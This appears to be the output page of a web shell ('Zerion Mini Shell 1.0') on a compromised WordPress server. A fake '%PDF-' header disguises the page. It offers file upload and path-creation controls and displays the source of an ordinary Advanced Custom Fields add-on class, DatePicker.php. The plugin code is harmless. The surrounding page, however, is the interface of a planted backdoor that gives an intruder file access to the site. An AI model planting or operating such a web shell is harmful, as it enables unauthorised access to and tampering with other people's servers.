%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/knwn/wp-content/plugins/ac-addon-acf/classes/Field/
Upload File :
Create Path :
Current File : /var/www/knwn/wp-content/plugins/ac-addon-acf/classes/Field/DatePicker.php

<?php

namespace ACA\ACF\Field;

use ACA\ACF\Editing;
use ACA\ACF\Export\Date;
use ACA\ACF\Field;
use ACA\ACF\Filtering;
use ACA\ACF\Search;
use ACA\ACF\Setting;
use ACP;
use ACP\Sorting\Type\DataType;

class DatePicker extends Field {

	public function editing() {
		return new Editing\DatePicker( $this->column );
	}

	public function sorting() {
		return ( new ACP\Sorting\Model\MetaFactory() )->create( $this->get_meta_type(), $this->get_meta_key(), new DataType( DataType::NUMERIC ) );
	}

	public function export() {
		return new Date( $this->column );
	}

	public function filtering() {
		return new Filtering\DatePicker( $this->column );
	}

	public function search() {
		return new Search\Datepicker( $this->get_meta_key(), $this->get_meta_type() );
	}

	public function get_dependent_settings() {
		return [
			new Setting\Date( $this->column ),
		];
	}

}

Zerion Mini Shell 1.0